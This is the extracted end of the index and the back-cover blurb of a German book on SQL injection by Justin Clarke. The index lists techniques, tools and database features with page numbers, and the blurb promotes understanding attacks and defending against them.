SQLBrute 362SQL-Dialekte 619SQL-Injection

Abschließen 105Andere Plattformen 651Android 287Angriffe untersuchen 556Anwendungen auf Anfälligkreiten prü-

fen 57Auswirkungen eindämmen 588Automatisieren 291Beweissicherung 556Blinde Injektion 90Blinde SQL-Injection 303Clientseitig 451Datenbanksystem ermitteln 196Definition 27Dynamische Payload 597Erholung von einem Angriff 593Exploit-Techniken 193Fehlerbehebung 648Fehlergestützt 219Funktionsweise 32Gespeicherte Prozeduren 503

Gründe für Anfälligkeiten 67Inhaltsgestützt 221Inline 96Kombinierte Angriffe 454Mehrere Zeilen zu einer kombinieren

621Mobilgeräte 286Motivation 39Numerische Werte 101Payload bestimmen 593Rechte erhöhen 255Resultset einschränken 613Schwachstellen aufspüren 614Spektakuläre Fälle 36Statische Payload 595Strings 100Würmer 402Zeitgestützt 214Zugriff sichern 423Zweite Ordnung 445

SQLite 477SQLiX 126SQL-Kommentare 433Sqlmap 291, 364Sqlninja 260, 366, 402SQL Query Analyzer 384SQLSecurity.com 509SQL Server

Antwortgestützte Deduktion 338ApexSQL 596Aufteilen und Ausgleichen 308, 339Ausführungspläne 567, 573Ausgabecodierung 493BCP 400BENCHMARK() 330Betriebssystembefehle ausführen 409


Binärsuche 332Bitweise Deduktion 332Blinde SQL-Injection 626CLR-Integration 403Dateien lesen 383Dateien schreiben 399Dateizugriff 282, 631Datenbank-E-Mail 278Datenbankschema auflisten 233Datenbankverbindungen 346Fehlermeldungen 71, 197, 225Gespeicherte Prozeduren 139INSERT-Fehlermeldungen 252Jokerzeichen für LIKE 494Konfigurationsinformationen 623Massenkopierprogramm 400Mehrfachanweisungen 111Oberflächenkonfigurationstool 541Out-of-band-Kommunikation 277Passwörter 630Passworthashes 268Rechte erhöhen 256Rechteerhöhung 627Schema 623Spickzettel 622Transaktionsprotokolle 579Versionsinformationen 200Versionsnummern 628xp_cmdshell 218Zeitstempel 585Zeitverzögerung 117, 214, 329

SQLSqueal 357Squeeza 368SSL-Jokerzertifikate 547Stapelabfragen 195, 570Statische Payload 595

StringsAbfragestring 142Aufteilen und Ausgleichen 307Dynamische Stringerstellung 40Injektionspunkte 325Injizieren 100Ohne Anführungszeichen darstellen 646Stringverkettung 110, 202Stringverkettung mit URL-Codierung

222Suchmaschinenhacking 547Sybase 655SYSDBA 421SYS.DBMS_CDC_PUBLISH 265SYS.KUPP$PROC 266SYS.LT 265

TTeachable Static Analysis Workbench 181TeSA 181TJX 37Transaktionsprotokolle

Einführung 577MySQL 582Oracle 581PostgreSQL 584SQL Server 579Verdächtige Elemente 578

Trennzeichen 41Trigger

Oracle 538T-SQL

Anführungszeichen codieren 493Codeanalyse 166

Typumwandlungsoperatoren 210


UUNC-Pfade 383Ungepatchte Server 262Unicode-Eingaben 500UNION 204, 607, 635

Datentypen 208Spaltenanzahl 205

UPDATE 608URL-Codierung 221

Filter 434Stringverkettung 222

UrlScan 526UTF-8 500utl_file 404, 641utl_file_dir 391

VVereinte Nationen 37Verkettungsoperatoren 110Versionsnummern 216

WWAF 517WAITFOR DELAY 117, 215, 329WAMP 408Webanwendungen Siehe auch Anwendungen

Architektur 30Funktionsweise 28

Webanwendungsfirewalls 517WebContentResolver 159Webdienstmeldungen 529WebKnight 526Webserverfilter 525Webserverprotokolle 549, 559Werkzeuge

Automatische Codeanalyse 173Automatisches Aufspüren von Schwach-

stellen 119Automatisierung von SQL-Injection 291Blinde SQL-Injection 357Gefahren bei Penetrationstests mit auto-

matischen Werkzeugen 192Whitelists 479WSDL 548Würmer 402


XXMLType 639xp_cmdshell 218, 400, 409, 629xp_sendmail 277xp_startmail 277XSS 455, 497

YYASCA 176

ZZed Attack Proxy 127Zeitgestützte Deduktion 322Zeitstempel

Datenbankobjekte 584MySQL 586Oracle 585PostgreSQL 587SQL Server 585

Zeitverzögerungen 116, 215, 617Blinde SQL-Injection 323Datenbankplattform ermitteln 618MySQL 324Oracle 333PostgreSQL 327SQL Server 329

Justin Clarke

HackingSQL

Justin Clarke

Clarke

SQL-

Hac

king

Besuchen Sie unsere Website www.franzis.de

Heutzutage gibt es eigentlich keine Geschäftsan-wendung ohne dahinterliegende Datenbank. Darinbefinden sich sensible Daten, angefangen bei personen-bezogenen Daten bis zu Geschäftsgeheimnissen. EineOffenlegung der Daten kann weitreichende Folgenhaben. Darum sind Datenbanken häufig Angriffenvon Hackern ausgesetzt. Diese versuchen über SQL-Injektion in die Systeme einzudringen und Datenauszulesen. Werden Sie aktiv und schützen Sie IhreSysteme vor solchen Attacken. Um das zu tun, müs-sen Sie die Angriffe verstehen, die Tools der Hackerkennen und geeignete Gegenmaßnahmen ergreifen.Schauen Sie hinter die Kulissen und verstehen Sie imDetail, wie SQL-Injektion funktioniert und was Siedagegen tun können.

SQLHacking

• Anfälligkeit für SQL-Injektion erkennen, ausnutzen und Schäden beseitigen• Angriffe auf Datenbanken detailliert imQuellcode nachvollziehen• Tools kennen und nutzen: Automatisierte Quellcodeprüfung, Automatisierung der blinden SQL-Injektion und mehr

SQL-Injektion auf relationale Datenbanken imDetail verstehen und abwehren.

Nutzbar füralle SQL-Daten-banken. Spezial-wissen zu Oracle, MS SQL Server,

MySQL und PostgreSQL.

Aus dem Inhalt:• Anfälligkeiten fürSQL-Injektion finden

• Inline-SQL-Injection undBlinde Injektion

• Werkzeuge zum automatischenAufspüren von Schwachstellen

• PL/SQL- und T-SQL-Code überprüfen• Automatisierte Quellcodeprüfungmit Graudit, YASCA, Pixy, AppCodeScan und mehr

• Exploit-Techniken• Passworthashes stehlen• SQL-Injektion auf Mobilgeräten• SQL-Injektionsangriffe und BlindeSQL-Injektion automatisieren

• Abfragen mit Nebenwirkungeneinschleusen

• Dateneinschleusung über DNS, E-Mail, HTTP und ICMP

• Das Betriebssystem angreifen• SQL-Injektion zweiter Ordnung• Clientseitige SQL-Injektion• Schutzmaßnahmen auf Code- undPlattformebene

• Cross-Site Scripting• NoSQL-Injektion verhindern

SQL-Injektion im Detail verstehen und vom Quellcode lernenViele Menschen, die behaupten, sie wüssten, wasSQL-Injektion sei, haben in Wirklichkeit nur einigetriviale Beispiele kennengelernt. SQL-Injektion isteine der verheerendsten Angriffstechniken, dieein Unternehmen treffen können. Sie kann zur Of-fenlegung der sensiblen Informationen führen, diein den Datenbanken einer Anwendung gespei-chert sind, darunter so brauchbare Informationenwie Benutzernamen, Passwörter, Namen, Adressen,Telefonnummern und Kreditkartenangaben.Erst wenn man reale Angriffe gesehen hat, kann

Übersichtliche Diagramme erläutern Architekturen und Konzepte.

man daraus lernen und für das nächste Mal vorbe-reitet sein. Deswegen zeigen Ihnen die Autoren dieeinzelnen Schwachstellen anhand von sehr vielQuellcode und erläutern diesen im Detail. Sie lernenviele Werkzeuge kennen, die Hacker einsetzen, um Schwachstellen aufzudecken. Welche Schutz-maßnahmen Sie auf Code- und Plattformebene ergreifen können, lesen Sie in zwei großen Kapi-teln. Eine ausführliche Referenz versorgt Sie mitviel Material für die tägliche Praxis, wie z. B. einerSchnellreferenz zu SQL-Injektion oder einem Überblick zur Fehlerbehebungbei SQL-Injektionsangriffen.

Neben Diagrammen werden auch zahlreiche Screenshots zur Erläuterung genutzt.

60466-6 U1+U4_SC 05.04.16 10:46 Seite 1

Documents

Aus dem Inhalt: SQL - franzis.de · Systeme vor solchen Attacken. Um das zu tun, müs-sen Sie die Angriffe verstehen, die Tools der Hacker kennen und geeignete Gegenmaßnahmen ergreifen